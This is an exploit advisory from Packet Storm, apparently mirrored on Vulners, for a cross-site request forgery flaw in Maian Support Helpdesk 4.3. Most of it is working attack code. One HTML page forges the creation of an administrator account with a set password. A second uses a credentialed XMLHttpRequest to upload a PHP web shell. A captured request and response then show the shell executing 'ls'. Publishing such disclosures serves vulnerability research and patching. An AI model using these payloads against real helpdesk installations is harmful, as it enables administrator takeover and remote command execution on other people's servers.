Lucene search
K

Maian Support Helpdesk 4.3 Cross Site Request Forgery

🗓️ 27 Apr 2020 00:00:00Reported by Besim AltinokType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 104 Views

This document highlights a Cross Site Request Forgery (CSRF) vulnerability in Maian Support Helpdesk v4.3, allowing unauthorized addition of admin accounts and file uploads

Code
`# Exploit Title: Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)  
# Date: 2020-04-26  
# Author: Besim ALTINOK  
# Vendor Homepage: https://www.maiansupport.com  
# Software Link: https://www.maiansupport.com/zip.html  
# Version: v4.3  
# Tested on: Xampp  
# Credit: İsmail BOZKURT  
----------------------------------------------  
  
Here is the Detail:  
--------------------------------------------------  
This product is unprotected against CSRF vulnerabilities. With this attack,  
you can add an admin account to the system. In addition, you can add files  
from the F.A.Q field as admin.There are no file restrictions here.  
Therefore, you can upload a PHP file here with CSRF.  
  
If you want, you can add an admin account first and then access the system  
and upload files.  
Or you can upload files with direct admin rights.  
  
---------------------------------------------------  
CSRF PoC - 1 (Add Administrator user)  
-------------------------------------  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://localhost/helpdesk/admin/index.php?ajax=team"  
method="POST">  
<input type="hidden" name="enabled" value="yes" />  
<input type="hidden" name="admin" value="yes" />  
<input type="hidden" name="welcome" value="yes" />  
<input type="hidden" name="name" value="Besim ALTINOK" />  
<input type="hidden" name="email" value="[email protected]" />  
<input type="hidden" name="accpass" value="111111" />  
<input type="hidden" name="timezone" value="0" />  
<input type="hidden" name="language" value="" />  
<input type="hidden" name="addpages" value="" />  
<input type="hidden" name="notePadEnable" value="yes" />  
<input type="hidden" name="enableLog" value="yes" />  
<input type="hidden" name="mergeperms" value="yes" />  
<input type="hidden" name="profile" value="yes" />  
<input type="hidden" name="ticketHistory" value="yes" />  
<input type="hidden" name="close" value="yes" />  
<input type="hidden" name="lock" value="yes" />  
<input type="hidden" name="editperms[]" value="ticket" />  
<input type="hidden" name="editperms[]" value="reply" />  
<input type="hidden" name="timer" value="yes" />  
<input type="hidden" name="startwork" value="yes" />  
<input type="hidden" name="workedit" value="yes" />  
<input type="hidden" name="notify" value="yes" />  
<input type="hidden" name="spamnotify" value="yes" />  
<input type="hidden" name="signature" value="" />  
<input type="hidden" name="nameFrom" value="" />  
<input type="hidden" name="emailFrom" value="" />  
<input type="hidden" name="email2" value="" />  
<input type="hidden" name="notes" value="" />  
<input type="hidden" name="mailbox" value="yes" />  
<input type="hidden" name="mailDeletion" value="yes" />  
<input type="hidden" name="mailScreen" value="yes" />  
<input type="hidden" name="mailCopy" value="yes" />  
<input type="hidden" name="mailFolders" value="5" />  
<input type="hidden" name="mailPurge" value="0" />  
<input type="hidden" name="digest" value="yes" />  
<input type="hidden" name="process" value="1" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
- After the Add admin account, you can upload the PHP file.  
  
CSRF PoC 2 - ( Directly, File Upload)  
----------------------------------------------------  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<script>  
function submitRequest()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST",  
"http:\/\/localhost\/helpdesk\/admin\/index.php?ajax=faqattach", true);  
xhr.setRequestHeader("Accept", "application\/json,  
text\/javascript, *\/*; q=0.01");  
xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");  
xhr.setRequestHeader("Content-Type", "multipart\/form-data;  
boundary=---------------------------1851832753272583700731626849");  
xhr.withCredentials = true;  
var body =  
"-----------------------------1851832753272583700731626849\r\n" +  
"Content-Disposition: form-data; name=\"file[]\";  
filename=\"shell.php\"\r\n" +  
"Content-Type: text/php\r\n" +  
"\r\n" +  
"\x3c?php echo system($_GET[\'cmd\']); ?\x3e\n" +  
"\r\n" +  
"-----------------------------1851832753272583700731626849\r\n" +  
"Content-Disposition: form-data; name=\"file[]\"\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------1851832753272583700731626849\r\n" +  
"Content-Disposition: form-data; name=\"remote[]\"\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------1851832753272583700731626849\r\n" +  
"Content-Disposition: form-data; name=\"remote[]\"\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------1851832753272583700731626849\r\n" +  
"Content-Disposition: form-data; name=\"remote[]\"\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------1851832753272583700731626849\r\n" +  
"Content-Disposition: form-data; name=\"process\"\r\n" +  
"\r\n" +  
"1\r\n" +  
"-----------------------------1851832753272583700731626849\r\n" +  
"Content-Disposition: form-data; name=\"opath\"\r\n" +  
"\r\n" +  
"\r\n" +  
"-----------------------------1851832753272583700731626849--\r\n";  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);  
xhr.send(new Blob([aBody]));  
}  
</script>  
<form action="#">  
<input type="button" value="Submit request"  
onclick="submitRequest();" />  
</form>  
</body>  
</html>  
  
HTTP Request:  
-----------------------------------------------------------------------------------------  
GET /helpdesk/content/attachments-faq/shell.php?cmd=ls HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0)  
Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: close  
Cookie: PHPSESSID=4574c8e8190d39edd9d13a0fd9a502ec;  
bp_ut_session={"pageviews":1,"referrer":"  
http://localhost/olms/library/assets/js/images/","landingPage":"  
http://localhost/olms/library/assets/js/images/sort_asc.html  
","started":1587817504988};  
HESKb910af33bb5d80030b1f4b6f8666b57fac433d4d=71c43ff24f63f83f5a34d28997251db6  
Upgrade-Insecure-Requests: 1  
  
HTTP Response:  
-------------------------------------------------------------------------------------------------  
HTTP/1.1 200 OK  
Date: Sun, 26 Apr 2020 12:15:31 GMT  
Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1f PHP/7.2.29 mod_perl/2.0.8-dev  
Perl/v5.16.3  
X-Powered-By: PHP/7.2.29  
Content-Length: 39  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
shell.php  
shell_test.php  
shell_test.php  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation